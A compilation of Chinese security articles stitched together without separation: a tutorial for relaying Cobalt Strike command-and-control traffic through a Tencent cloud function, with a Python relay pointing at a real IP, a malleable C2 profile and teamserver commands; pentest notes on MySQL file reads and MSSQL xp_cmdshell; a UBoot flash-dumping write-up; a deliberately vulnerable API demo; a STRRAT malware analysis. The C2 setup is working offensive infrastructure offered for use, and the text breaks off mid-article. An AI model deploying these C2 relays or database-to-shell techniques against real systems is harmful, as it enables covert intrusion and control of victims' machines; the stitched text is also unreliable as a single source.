登录控制台后,点击新建。
r5y4su5od3u14798.png

函数名称随意,选择从头开始,环境填
Python3.6,选完后下拉,把代码搞里头。
x5oiesk43ux14800.png

复制下面代码,并修改服务器地址。

# coding: utf8
import json,requests,base64
def main_handler(event, context):
    response = {}
    path = None
    headers = None
    try:
        C2='http://43.134.164.72:80'
        if 'path' in event.keys():
            path=event['path']
        if 'headers' in event.keys():    
            headers=event['headers']
        if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' :
            resp=requests.get(C2+path,headers=headers,verify=False) 
        else:
            resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
            print(resp.headers)
            print(resp.content)
        response={
            "isBase64Encoded": True,
            "statusCode": resp.status_code,
            "headers": dict(resp.headers),
            "body": str(base64.b64encode(resp.content))[2:-1]
        }
    except Exception as e:
        print('error')
        print(e)
    finally:
        return response

31rlnjejy4n14801.png


完成后,点击保存!
接着点击触发管理,创建触发器
格式如下
q0e34k4ovhf14802.png

点击api名称编辑后到达此页面,路径修改为
/
zzw0e1dqcjo14803.png

完成 后点击 发布服务
新增C2的profile文件,命名为win_tecent_cloud_func.profile

set sample_name "t";
set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

    set uri "/api/x";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/y";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

保存完成后,存放在cs目录下。
启动cs服务端

 ./teamserver vpsip admin12345 win_tecent_cloud_func.profile

ezldvataibv14804.png


将云函数的公网接口地址域名填入listener的http hosts和stager的hosts
注意不要http 和80
u1a32ci3zus14805.png

添加监听
oxdzavrssj014806.png

生成shell后成功上线。
78.png



原文连接: https://blog.bbskali.cn/3771.html

 前言

看到了某篇关于站库分离类型站点相关的讨论,想总结下信息收集的技巧。

正文

关于站库分离类型站点网上暂时没有找到总结性的文章,所以想尝试记录下关于站库分离类型站点的渗透思路。

对站库分离类型站点通常可以有两个渗透入口点:

1.web 网站

2.数据库

渗透思路其实也是比较常规。但是这里如果两个入口点无非两种路径。

  1. 从 web 网站打入进而打站库分离的数据库,内网渗透
  2. 从数据库打入进而打站库分离的 web 网站,内网渗透

根据不同的路径定制不同的渗透测试方案,下面记录一下流程和容易遇到的问题。

一、从 web 入口渗透

从 web 入口通常就是通过网站的各种漏洞来 getshell,比如文件上传、命令执行、代码执行、还有 SQL 注入写入一句话(into outfile、日志备份等)。

在获得 web 权限或者有诸如文件读取等漏洞时,我们还读数据库配置文件、对数据库内容分析、查找数据库备份,进而对数据库目标 ip 进行渗透,以便后续操作。

二、从数据库入口渗透

但是这里要说主要是外网暴露的数据库入口点弱口令;web 网站 SQL 注入。

从数据库入口渗透,同样主要是为了获取更大的权限,或者扩展我们的渗透成果,比如从数据库里可以得到一些密码信息,用户名等,在后续的内网渗透中可以很有效的帮助我们。

站点是站库分离的,数据库和 web 不在同一台服务器上,这时候不能写入一句话木马通过 web 去连,因为路径没有用。如果是从 web 端找到的 SQL 注入,那么可以通过以下这些方式去做信息收集、获取权限。

1.MYSQL

(1)定位 web 端 ip 地址

通过查询 information_schema 库中的 PROCESSLIST 可以查看当前 MYSQL 的连接情况。因为 web 应用会产生查询数据库操作,所以在回显出来的 host 字段中会带回目标的 ip:port

select * from information_schema.PROCESSLIST;

0gn4q5u252g14788.jpg

在得到了 web 端的 ip 我们可以进而对 web 端进行渗透。

(2)load_file () 获取数据库所在服务器的敏感信息

如果没有 secure_file_priv 参数的限制(MySQL5.7 以下)我们还可以用 load_file() 函数对文件内容进行读取。

select load_file('C:/test.txt');# 左斜杠 /

53nzgniypch14790.jpg

还可以获取网卡信息,比如读:

/etc/udev/rules.d/70-persistent-net.rules获取网卡名称。

/etc/sysconfig/network-scripts/ifcfg-网卡静态IP
DHCP的话/var/lib/dhclient/dhclient--网卡.lease

2.MSSQL

(1) 判断是否站库分离

得到客户端主机名

select host_name();

得到服务端主机名

select @@servername;

根据结果判断是否分离,结果一样就可能站库同服务器,结果不一样就是站库分离。

(2)存储过程执行命令

我们可以通过 MSSQL 的存储过程执行系统命令,可以尝试直接提升权限后渗透其他主机,

常用到的两个:

  1. XP_CMDSHELL
  2. SP_OACREATE

可以探测数据库服务器是否出网,通过执行 ping 或者 curl 看是否出网,通常遇到 MSSQL 我们直接就通过命令执行上线了。

同样是数据库,自然其中有一些敏感信息,为了进一步渗透,可以整理密码本或者其他信息。


使用Raspi配置raspi-config是一個用戶空間工具,它允許我們配置樹莓派的各個方面,其中之一是啟用各種外部接口。我們將使用raspi-config來啟用UART接口,首先啟動工具,如下所示:

sudo raspi-config 這將導致出現以下結果:

33.png

接下來,我們將選擇Interface Options,然後是Serial Port,如下圖所示:

34.png

選擇這個選項後,我們會遇到兩個問題:

1.你希望通過串行方式訪問登錄shell嗎?

2.你想啟用串行端口硬件嗎?

我們現在已經在樹莓派上啟用了UART,接下來,我們需要將它連接到我們的機櫃。我們將機櫃的Tx連接到Pi的Rx,將機櫃的Rx 連接到Pi 的Tx:

35.png

UART工具使用樹莓派上的UART接口,我們可以嘗試連接到目標設備上的這個Serial Port。為了與這個Serial Port交互,我們將使用屏幕實用程序。當與UART接口時,屏幕要求我們傳遞一個設備和波特率,由於我們知道上一段的波特率,我們將按如下方式運行:

sudo screen -L -Logfile cabinet-bootup.log /dev/ttyS0 115200

-L -Logfile cabinet-bootup.log——將會話記錄到cabinet-bootup.log文件;

/dev/ttyS0——要使用的串行設備;

115200——波特率;

我們現在可以在配置我們的UART 和啟動屏幕後打開機櫃。當我們打開機櫃電源時,我們看到以下內容:

36.png

最終,我們發現自己在一個控制台:

37.png

我們現在有一個根控制台,可以探索文件系統,查看目標上正在運行的內容,並了解有關它是如何構建的更多信息。如果可能,我們的下一步將是對分區進行映像;讓我們先看看掛載了哪些分區:

38.png

我們的根文件系統是以只讀的形式掛載的,並且使用的是squashfs格式。此外,還掛載了標記為userdata的另一個分區。如果我們檢查可用的block設備,我們會看到以下內容:

39.png

我們可以看到,SPI flash設備大概位於/dev/rkflash0。要獲得這個block設備的圖像,我們可以將USB插到機櫃的USB端口並使用dd實用程序。當我們插入一個USB閃存驅動器時,它在/dev/sda 中被枚舉,我們可以用以下命令將SPI閃存的內容映射到USB驅動器:

Sudoddif=/dev/rkflash0of=/dev/sdastatus=progress如果我們將USB 驅動器插入Pi 並檢查分區表,我們會看到相應的分區已映射到驅動器。

40.png

現在我們有了閃存的備份,這是我們嘗試修改嵌入式系統時應該採取的第一步;在我們嘗試修改任何內容或重新刷新任何分區之前,我們應該確保我們有辦法恢復它們;為此,我們將調查引導加載程序。作為起點,讓我們注意啟動日誌開頭的以下行:

41.png

如果我們在為機櫃供電時在屏幕提示中按住Ctrl-c,我們會看到以下內容:

42.png

我們現在有一個UBoot 提示符,在深入探討之前,讓我們先談談UBoot 及其工作原理。

UBOOTUBoot是嵌入式系統中常用的開源引導加載程序。它支持各種架構和CPU類型。但是,UBoot 的職責通常是為嵌入式系統加載操作系統內核或主應用程序。

UBoot 還包括在你的逆向工程工作中有用的調試實用程序;最值得注意的是UBoot 命令提示符。

UBoot命令UBoot 控制台可以包含大量的內置實用程序,這些實用程序可以在標準引導過程中(通常通過環境變量)或在UBoot 命令行中使用。可用的命令將根據UBoot映像的構建方式而有所不同。

現在我們已經發現了一個UBoot 控制台,讓我們首先通過運行help 命令查看哪些命令是公開可用的。

43.1.png

43.2.png

43.3.png

在查看每個命令之前,讓我們重新審視一下我們的主要目標,即能夠從引導加載程序讀取和寫入根文件系統分區,以防我們以後需要恢復這個機櫃。下面的命令非常醒目,因為它們涉及內存讀取和寫入:

44.png

接下來,我們可以使用printenv 命令查看此引導加載程序配置的環境變量。這將為我們提供更多關於該平台如何啟動、正在使用的內存地址以及其他可用接口的背景信息。

UBoot環境變量在為設備構建或配置UBoot映像時,可以配置各種環境變量。這些環境變量控制啟動時執行的操作。存儲這些變量的方法有很多種。有時它們被硬編碼到二進制中,它們也可以駐留在閃存分區上,允許用戶從UBoot提示符修改它們。

我們可以使用printenv 命令檢查環境變量:

45.1.png

45.2.png

我想在下表中指出一些有趣的變量:

46.png

此時,如果我們交叉引用我們在硬件檢查期間收集的信息,我們會看到一致的結果。在我們的硬件檢查之後,我們假設SPI flash是主要的存儲方法,這個假設在UBoot環境變量和可用的命令中得到驗證。

讓我們從檢查rksfc命令開始,通過搜索,這是RockChip的SPI SFC(串行flash控制器)接口工具。該命令包含以下子命令:

47.png

可以通過以下命令獲取SPI flash的信息:

48.png

使用這些命令,我們可以了解更多關於SPI flash的信息。我們可以看到塊大小為512,該芯片總共包含220672 (0x35E00)塊,被分成5個分區:

uboot ——可能包含我們的UBoot 映像/第一階段引導加載程序;

trust ——可信執行環境映像;

boot ——內核映像/ramdisk;

rootfs ——我們最大的分區,內核的根文件系統;

user data——用戶特定數據,可能用於高分、用戶設置等;

注意,該數據與我們之前在根控制台提示符中看到的內容相匹配。我們現在了解了閃存是如何分區的以及可能有哪些數據可用,但是我們如何在不向板上焊接額外線路的情況下讀取/寫入這些數據呢?如果我們檢查usb 命令,我們會看到以下內容:

49.png

使用機櫃側面的USB 端口,如果我們插入設備並運行USB start 後跟USB info,則會生成以下輸出:

50.1.png

這樣,我們就可以看到USB堆棧成功枚舉並檢測到我們的大容量存儲設備。

在繼續之前,讓我們回顧一下我們對UBoot 環境的了解:

通過檢查環境變量,我們可以在RAM中找到可用的地址;

使用rksfc讀取實用程序,我們可以讀取SPI閃存扇區到RAM;

使用USB命令,我們可以枚舉一個USB設備並寫入它;

我們可以將SPI flash讀入RAM,連接USB設備,然後使用USB寫入命令將SPI flash數據寫入USB設備。如果這種方法有效,我們還應該能夠通過反向步驟恢復閃存圖像,從USB驅動器讀取數據,並使用rksfc write寫入閃存。讓我們從測試讀取開始。

首先,我們將嘗試使用以下命令將整個SPI 閃存讀入RAM 以獲取目標地址,我們將嘗試存儲在$ramdisk_addr_r 中的地址,即0x6a200000:

51.png

這不起作用,我們以某種方式觸發了未定義的指令異常。我們可能破壞了UBoot 正在使用的一些東西,讓我們看看當我們嘗試另一個內存較低的地址時會發生什麼:

52.png

移動到RAM 中的較低地址允許讀取完成而不會破壞任何內容,讓我們看看我們現在是否可以將這些數據寫回USB 驅動器:

53.png

現在我們來看看這個驅動器的內容,把它插入樹莓派,看看我們有什麼:

54.png

此時,我們可以看到USB驅動器上的分區表與rksfc part 0命令的輸出相匹配。接下來,我們將使用dd實用程序提取用於分析的各個分區。

55.png

到目前為止,該數據與我們在查看正在運行的系統上的掛載輸出和UBoot 菜單中的分區表時看到的數據相匹配。因此,我們可以通過unsquashfs 提取squashfs 分區並嘗試掛載ext2 分區以確認它們是有效的:

56.png

看起來我們有一個有效的根文件系統,現在我們可以開始逆向工程軟件了,並了解更多關於我們如何修改這個系統來玩更多遊戲或運行自定義固件的信息。

現在我們已經確認可以讀取flash,讓我們測試一下,看看我們是否可以使用上面描述的方法將這張圖片寫回flash:

57.png

現在我們重新啟動,希望我們重新刷新的圖像仍然有效。

58.jpg

成功!我們現在可以使用我們的USB 驅動器從UBoot 讀取/寫入SPI 閃存;這對於測試補丁和固件修改很有用!

現在我們可以用UBoot 讀/寫這個機櫃的flash,如果我們可以自動擦除flash 的各個分區和段,而不需要每次手動輸入範圍,那就太好了。為此,我們將使用Depthcharge 實用程序來自動化我們的UBoot 交互!

使用DEPTHCHARGE 編寫UBOOT在使用UBoot環境時,我們經常需要自動化交互。例如,在我們的示例中,我們可能希望自動重寫特定的閃存分區,而不必每次都手動輸入地址偏移量。對我們來說幸運的是,NCC集團的人已經組裝了一個工具來幫助我們,這個工具叫做深度充電。我們可以使用這個自動化的過程,從我們的閃存芯片和外部USB驅動器讀取數據。我們的腳本將需要執行以下操作:

連接到UART並識別UBoot提示符;

通過rksfc讀寫命令對SPI flash進行讀寫操作;

通過USB讀寫命令對USB驅動器進行讀寫;

首先,我們需要安裝模塊,可以通過執行命令sudo pip install depthcharge.o在Pi上安裝depthcharge。

連接到UART並識別UBoot提示符

我們可以使用以下python代碼連接到UBoot提示符:

微信截图_20220208150823.png

在上面的函數中,我們創建了一個Console對象,它要求我們提供一個到Serial Port和波特率的路徑。然後這個控制台對像被用來製作Depthcharge上下文,我們將使用它來訪問Depthcharge所提供的功能。 depthcharge文檔中有一個很好的例子,詳細描述了安裝過程。

Flash 通過depthcharge 讀寫現在我們已經連接到接口,我們需要實現rksfc讀寫命令。我們可以使用depthcharge的send_command() API來做到這一點。這個API調用允許我們生成UBoot命令並將其發送到命令提示符並返迴響應。在下面的例子中,我們在cmd_str變量中構造了read命令,並確保參數被正確格式化,然後使用send_command() API發出命令。

59.png

現在我們已經實現了對閃存的讀寫,接下來我們需要枚舉USB堆棧,然後從閃存驅動器中讀寫。

USB 通過depthcharge 讀寫與我們實現rksfc 命令的方式類似,接下來我們將實現usb 命令。該過程將類似於用於rksfc 命令的過程:

60.png

使用Depthcharge 轉儲閃存現在我們已經定義了適當的函數,我們可以嘗試以下操作:

61.png

如果我們運行這個腳本,就會看到如下輸出:

62.1.png

62.2.png

當我們將u盤插入Pi時,就會會看到以下分區:

63.png

成功!我們已經使用Depthcharge 將SPI 閃存提取到USB 設備!

文件系統內容現在我們有了一種可靠的讀取和寫入flash的方法,讓我們簡要地檢查一下內容。有趣的文件位於/moo文件夾中。此文件夾包含仿真器及其相關資源。 Moo是一個使用自定義ROM格式的自定義模擬器,2020年,一些研究人員在模擬器的另一個版本上進行了測試。然而,如果我們查看目錄內容,會發現一些有趣的現象:

64.png

在這個系統上肯定不可能有PE32 Windows 可執行文件,如果我們將此文件複製到Windows 機器上並嘗試執行它:

65.jpg

它運行了!顯然,這是一個構建工件,開發者沒有意識到它存在於系統中。

使用本文介紹的方法,我們現在可以使用UBoot 將SPI 閃存讀寫到USB 驅動器。我們已經提取了根文件系統並確定了核心模擬組件。我們的下一個目標將是對該目標上的一些二進製文件進行逆向工程,以確定運行自定義固件的困難程度。

總結我們在本文中介紹瞭如何使用我們的萬用表/邏輯分析儀執行嵌入式設備的初始拆卸和識別潛在的調試頭。然後進一步詳細介紹瞭如何分析未知的UART 流量並使用帶有Raspberry Pi 的屏幕連接到Serial Port。連接到Serial Port後,我們發現可以通過按Ctrl-C來訪問UBoot控制台。在查看了UBoot 控制台之後,我們編寫了一個depthcharge 腳本來將每個SPI 閃存分區提取到一個外部閃存驅動器中。所有使用的腳本和工具都可以在github上找到。

應用程序編程接口或API 通過實現流暢的數據交換來連接我們使用的軟件和服務。他們經常交換高度敏感的信息:個人數據、用戶憑據、財務詳細信息等。這就是為什麼API 是黑客攻擊的熱門目標——根據API 安全狀況報告,91% 的公司在2020 年經歷了API 安全事件[PDF ]。

在本文中,我們概述了OWASP API 安全項目中最普遍的API 漏洞,展示了它們是如何被利用的,並提供了在開發過程中保護您的API 免受此類安全問題的方法。

最普遍的API 漏洞是什麼?在處理應用程序安全時,保護API 是關鍵任務之一,因為API 通常是攻擊者的網關。 Gartner 預測,到2022 年,API 濫用將成為最常見的黑客攻擊媒介,並將導致許多數據洩露。

根據OWASP API 安全項目提供的API 安全前10 名(2019 年)列表,通過關注API 的前10 大安全風險,優先考慮保護API 的工作。

image.png

OWASP 十大API 安全風險

了解攻擊者如何利用代碼中的弱點是在API 開發過程中防範風險的關鍵步驟之一。在本文中,我們將向您展示攻擊者究竟如何利用列表中的前六個漏洞的示例。我們不會關注最後四個API 安全挑戰,因為它們與安全機制的不當應用有關。

為了向您展示惡意行為者如何利用這些漏洞,我們創建了一個不受保護的API。我們將展示其代碼的哪些部分為黑客打開了大門,並討論瞭如何修復它們。讓我們從部署不受保護的API 開始。

創建示例API在本文中,我們將為簡單的任務管理系統創建一個API。該系統具有不同訪問級別的用戶,並允許他們執行簡單的任務。此外,該系統允許用戶管理活動:自助註冊、創建、編輯和刪除用戶帳戶。

API 將具有以下端點:

image.png

API 端點的類別

您可以使用任何Linux 發行版作為此API 的環境。要部署API,請執行以下步驟:

1.安裝Docker

2.安裝Docker Compose

3.在local.cfg 中配置電子郵件地址(您將需要此地址來發送密碼重置電子郵件)

4.轉到API 文件夾並執行docker-compose up --build 命令

您還可以從我們的GitHub 存儲庫下載此示例API 。 API 管理員帳戶的憑據是:

马云惹不起马云 用戶名:管理員

马云惹不起马云密碼:管理員

要閱讀API 文檔,請將./swagger/swagger.yaml 文件從API 上傳到Swagger Editor。部署API 後,我們可以開始利用漏洞並修復它們。

損壞的對象級授權一些API 公開對象標識符,這對於訪問控制機制至關重要。這些機制驗證用戶只能訪問他們有權訪問的資源。為了利用對象級授權被破壞的API,攻擊者在API 調用中更改請求資源的身份驗證數據並獲取對受保護數據的訪問權限。

在我們的示例API 中,只有用戶自己和管理員可以查看用戶的帳戶詳細信息。此外,我們在API 開發期間添加了一個安全漏洞,並確保GET /user 端點包含對象級授權漏洞。為了檢測它,我們需要:

马云惹不起马云註冊兩個用戶

马云惹不起马云 通過POST /login 端點以user1 身份登錄系統

马云惹不起马云獲取身份驗證令牌

我們使用這個請求登錄系統:

image.png

API 使用以下數據響應我們的請求:

image.png

這是我們的身份驗證令牌:

image.png

如果我們可以獲取令牌,我們可以使用它通過GET /user 端點請求user2 數據:It was originally published on https://www.apriorit.com/

image.png

我們易受攻擊的API 使用user2 數據進行響應:

image.png

如果我們的API 受到對象級授權攻擊的保護,它將使用以下消息響應GET /user 端點請求:

image.png

損壞的用戶身份驗證用戶身份驗證問題可能允許攻擊者冒充用戶、訪問他們的個人數據並濫用訪問權限。通常,此類漏洞隱藏在密碼重置機制中。讓我們看看如何在API 中利用損壞的用戶身份驗證。

我們首先執行這個密碼重置請求:

image.png

請求成功通過後,我們將收到一封電子郵件,其中包含四位數的重置代碼至user@mail.com。之後,我們可以提出以下請求來更改密碼:

image.png

API 不限制嘗試輸入重置代碼的次數,這就是為什麼為註冊到user@mail.com的用戶帳戶獲取新密碼特別容易的原因。要猜測重置代碼,我們只需要編寫一個腳本,嘗試使用從0000 到9999 的所有代碼:It was originally published on https://www.apriorit.com/

image.png

當腳本輸入正確的重置代碼時,我們將收到包含新密碼的響應:

image.png

通過利用這個對象級授權漏洞,我們可以獲取擁有該郵箱的用戶的登錄信息,登錄到他們的賬戶,然後更改郵箱。

在我們的示例API 中,存在一個安全威脅,它允許我們使用相同的重置代碼多次重置用戶的密碼。我們可以使用代碼1111 傳遞此請求,並隨時更改用戶密碼:

image.png

過多的數據暴露當開發人員為API 和客戶端之間的通信實施通用機制時,可能會出現此API 安全漏洞。在這種情況下,API 可能會向客戶端發送比它需要的更多的數據,客戶端必須過濾數據並隱藏用戶不相關的信息。攻擊者可以嗅探此流量並從中提取敏感信息:身份驗證令牌、帳號、電子郵件地址等。

為了在我們的API 中演示此漏洞,我們將從GET /task 端點請求任務的ID 和有關用戶的完整信息。這個端點應該只返回任務ID,但讓我們看看會發生什麼。

這是我們的要求:

image.png

以下是GET /task 端點的響應方式:

image.png

如果攻擊者截獲此響應,他們將獲得API 擁有的有關用戶的所有信息,即使這些信息在API 的客戶端中不可用。

缺乏資源和速率限制API 可以使用CPU、RAM 和磁盤資源來處理請求。開發者通常會根據應用程序的業務邏輯來選擇分配給API 的資源。如果攻擊者設法繞過業務邏輯限制以造成API 必須處理的請求超出其設計目標的情況,則應用程序將耗盡資源並開始出現故障或變得不可用。

在我們的API 中,GET /tasks 包含此漏洞。該端點支持分頁——將RAM 中的數據存儲在硬盤上。攻擊者可以濫用此功能來重載API。

假設應用程序在一頁上顯示10 個任務。顯示任務的請求將如下所示:

image.png

攻擊者可以使用放大的大小參數發送自己的請求以重載API:

image.png

如果數據庫中分配給請求任務的用戶的任務過多,API 將過載,導致拒絕服務。

功能級別授權損壞錯誤配置的授權機制允許攻擊者未經授權訪問敏感資源並竊取、編輯或創建新用戶帳戶。為了檢測此漏洞,攻擊者發送請求以訪問他們不應訪問的對象。

我們將GET /admin/users 端點添加到我們的API 以演示此漏洞。此端點返回在應用程序中註冊的所有用戶的數據,而不檢查誰請求了數據(用戶或管理員)。以下是此類請求的示例:

image.png

GET /admin/users 端點使用以下代碼進行響應:

image.png

批量分配一些開發人員設計他們的API 以在將來自應用程序的輸入綁定到代碼和內部對象時自動分配對象屬性。許多框架提供批量分配功能以幫助加快開發速度。

這種方法對開發人員來說很方便,但它也允許用戶更改他們不應訪問的對象屬性。此外,攻擊者可以嘗試猜測對象屬性或根據他們的要求用新的屬性替換它們。如果API 容易受到此類請求的攻擊,攻擊者可以獲取有關敏感對象的信息、閱讀文檔或修改數據對象。

在我們的API 中,用戶對象存在這個漏洞。它有一個帶有兩個可能值的user_type 參數:user和administrator。當人們自己在我們的應用程序中註冊時,他們的帳戶默認分配用戶值。但是,我們的API 允許用戶通過PUT /user 請求更改此值。通過這種方式,攻擊者可以獲得管理員權限。

要利用此漏洞,我們必須使用此請求註冊用戶:

image.png

之後,我們將收到包含用戶帳戶詳細信息的響應:It was originally published on https://www.apriorit.com/

image.png

然後,我們需要將user_type 字段更改為admin:It was originally published on

image.png

API 將響應更新的用戶數據:

image.png

這樣,user4 將獲得管理員訪問權限。 It was originally published on https://www.apriorit.com/

結論緩解OWASP API 安全項目中的安全問題對於確保應用程序的保護至關重要。為了優先考慮測試程序並節省一些時間,您可以專注於查找和修復我們在本文中討論的最普遍的漏洞。

由於運輸和接收貨物是大多數航運企業的日常工作,攻擊者經常將偽造有關的運輸標題作為釣魚電子郵件的誘餌,例如虛假髮票、運輸事宜的更改或與虛擬購買相關的通知,以誘使收件人打開惡意附件和無意中下載惡意軟件。

FortiGuard實驗室最近發現了一封這樣的郵件,該電子郵件隨後被發現包含STRRAT 惡意軟件的變體作為附件。

本文將詳細分析網絡釣魚郵件及其惡意負載。

檢查網絡釣魚郵件STRRAT是一個多功能的遠程訪問木馬,至少可以追溯到2020 年年中。不同尋常的是,它是基於Java 的,通常通過網絡釣魚電子郵件發送給受害者。

2021年5月,微軟的安全情報團隊發現了新型惡意軟件攻擊,通過包含惡意的PDF 附件進行大規模傳播。這些PDF 附件中包含了名為StrRAT,這是一個可遠程訪問的木馬程序,可用於竊取密碼和用戶憑證。除了竊取憑證甚至控制系統之外,微軟研究人員還發現,這種惡意軟件可以將自己偽裝成偽造的勒索軟件。

關於該惡意軟件的推文中,微軟表示:

“一旦系統被感染,StrRAT 就會連接C2 服務器。1.5版明顯比以前的版本更加模糊和模塊化,但後門功能大多保持不變:收集瀏覽器密碼,運行遠程命令和PowerShell,記錄鍵盤輸入等”。

與大多數網絡釣魚攻擊一樣,以前的STRAAT 活動使用了附加到電子郵件的中間釋放器(例如惡意Excel 宏),在打開時下載最終有效負載。本示例不使用這種策略,而是將最後的有效載荷直接附加到釣魚電子郵件中。

img1.png

欺騙性電子郵件發件人和主題

如圖1 所示,這個樣本顯然不是來自馬士基航運公司,攻擊者顯然不希望接收者看得太仔細。通過進一步挖掘電子郵件標題,電子郵件的來源的完整線索變得很明顯:

2.png

電子郵件標頭

在離開發件人的本地基礎設施後,消息最終會通過“acalpulps[.]com”,然後傳遞給最終收件人。該域名是在2021 年8 月才註冊的,因此該域名有些可疑。此外,“Reply-To”地址中使用的域“ftqplc[.]in”最近也被註冊(2021 年10 月),因此也非常可疑。

電子郵件正文鼓勵收件人打開有關預定裝運的附件。

3.png

電子郵件正文

截至發文,信函正文中包含的域“v[.]al”尚未解析。

4.png

電子郵件附件

直接附加到示例電子郵件的是一個PNG 圖像和兩個Zip 文件。 “maersk.png”只是一個圖像文件,如上圖所示。然而,兩個Zip 文件“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]zip”和“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF (2)[.]zip”包含STRRAT 的嵌入副本。

檢查STRRAT 附件“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]zip”和“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF (2)[.]zip”是相同的文件,這從它們各自的SHA256 哈希值可以看出。

img5.png

“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]zip”的SHA256 哈希

img6.png

“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF (2)[.]zip”的SHA256 哈希

解壓縮這些文件會顯示文件“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]jar”。但是,在Jar Explorer 中打開文件後,一些事情會立即顯現出來。

img7.png

Jar Explorer 中“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]jar”的初始視圖

首先,大量的Java 類文件是這個包的一部分。其次,“FirstRun”類字符串似乎被打亂或編碼。附加有“ALLATORIxDEMO”的行表示存在Allatori Java 混淆處理程序。

這可以通過嘗試執行jar 文件來驗證。

img8.png

嘗試執行“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]jar”時顯示的閃屏

使用Allatori確認這一點有助於分析過程,因為有開源工具可以回滾它並揭示jar文件中的實際內容。 Java Deobfuscator對Allatori工作得特別好,並成功地恢復了原始字符串內容,如下所示。

img9.png

“FirstRun” 類的相同視圖現在已反混淆

與STRRAT 中的類文件獨立編碼的是配置文件(config.txt)。在第一個視圖中,它是base 64 編碼的,如下圖所示。

img10.png

Base 64 編碼的“config.txt”

不幸的是,當解碼時,文件仍然被加碼處理了。

11.png

“解碼”配置文件

通過搜索“config.txt”的代碼,我們可以看到配置文件是使用AES 加密的,並且使用了“strigoi” hXXp://jbfrost[.]live/strigoi/server/?hwid=1lid=mht=5的密碼。現在可以解密配置文件了。

img12.png

解密的配置文件

上圖中的最後一項特別令人感興趣,因為該示例出現在Log4Shell 事件中。 Khonsari 是利用該特定漏洞的勒索軟件變種的名稱。然而,在這裡,這個詞起到了軟件密鑰的作用,沒有證據表明這兩個惡意軟件之間有任何联系。

大多數惡意軟件都需要在重啟和會話期間保持持久性,這樣它們才能完成已經設置的任務。 STRRAT通過將自身複製到一個新目錄中,然後將條目添加到Windows註冊表中以在系統啟動時運行來實現這一點。

img13.png

修改註冊表的代碼

img14.png

修改後的註冊表

STRRAT 在啟動時查詢主機以確定其架構和防病毒功能,它還查詢正在運行的進程、本地存儲和網絡能力。

就功能而言,STRRAT可以記錄擊鍵並維護一個基於html的日誌來存儲感興趣的項目。

img15.png

創建鍵盤日誌文件的代碼

img16.png

準備好發送的鍵盤日誌文件

STRRAT還可以通過刪除遠程訪問工具HRDP來促進對受感染系統的遠程控制。

img17.png

HRDP

其他功能包括從Chrome、Firefox 和Microsoft Edge 等瀏覽器和Outlook、Thunderbird 和Foxmail 等電子郵件客戶端提取密碼。

STRRAT 中最奇怪的模塊之一是它的偽勒索軟件功能。

img18.png

偽勒索軟件模塊

代碼循環瀏覽用戶主目錄中的文件,並為它們附加一個“.crimson”的文件擴展名。沒有對文件進行加密,這使得它只適合作為誘餌,或者作為對不太精明的用戶的恐嚇策略。在代碼中未找到贖金記錄模板。

在網絡方面,我們看到STRRAT希望在啟動時擴展和拉下幾個Java依賴項。

19.png

Java 依賴項

如上圖所示,此示例將IP 地址198[.]27.77.242 用於C2(命令和控制)。檢查Wireshark 中的流量顯示STRRAT 異常嘈雜。這可能是由於C2 通道在調查時處於離線狀態。為了獲得進一步的指令,該示例嘗試以1秒(在某些情況下甚至更多)的時間間隔通過端口1780和1788進行通信。

20.png

Wireshark 中嘗試的C2 通信

上圖還顯示了一個包含域“jbfrost[.]live”的URL,這似乎是惡意軟件C2 基礎設施的一部分,但似乎沒有被使用(至少目前沒有),該域當前未解析。

免責聲明:所有的技術解釋皆基於本人現有的知識,由於本人水平有限,所以錯誤在所難免。同時,文中的概念可能被有意或無意地過度簡化了。

簡介在Corellium網站上通過已得到修復的漏洞練習exploit的開發技巧的過程中,我開始思考如何利用Corellium的管理程序的“魔法”特性來練習通用的漏洞利用技術——即使不借助於特定的漏洞。之所以會有這個想法,是因為我受到了Brandon Azad下面這段話的啟發:

“其次,我希望能夠在不借助於某個或多個特定漏洞的情況下來評估漏洞利用技術,以確定該技術的可行性(即,沒有失敗案例);因為通過不可靠的漏洞來測試利用技術的話,一旦發生失敗,我們很難確定問題出在利用技術本身上面,還是因為漏洞不穩定所致。”

在瀏覽器領域,一個典型的漏洞利用策略是使用兩個ArrayBuffer對象,並將一個對象的後備存儲指針指向另一個對象,這樣arrayBuffer1就可以隨意且安全地修改arrayBuffer2-backing_store_pointer了,比如針對Tesla瀏覽器的漏洞利用代碼就採用了這種方式:

1.png

上圖中最重要的部分是綠色方框部分,對應arrayBuffer1,以及它的後備存儲指針,其中存放的是arrayBuffer2的地址(見右邊獨立的灰色方框)。這樣的話,通過對arrayBuffer1的索引,就可以修改arrayBuffer2內的相應字段了,特別是arrayBuffer2-backing_store_pointer字段。之後,通過索引arrayBuffer2,我們就能讀/寫所需的任意地址了。

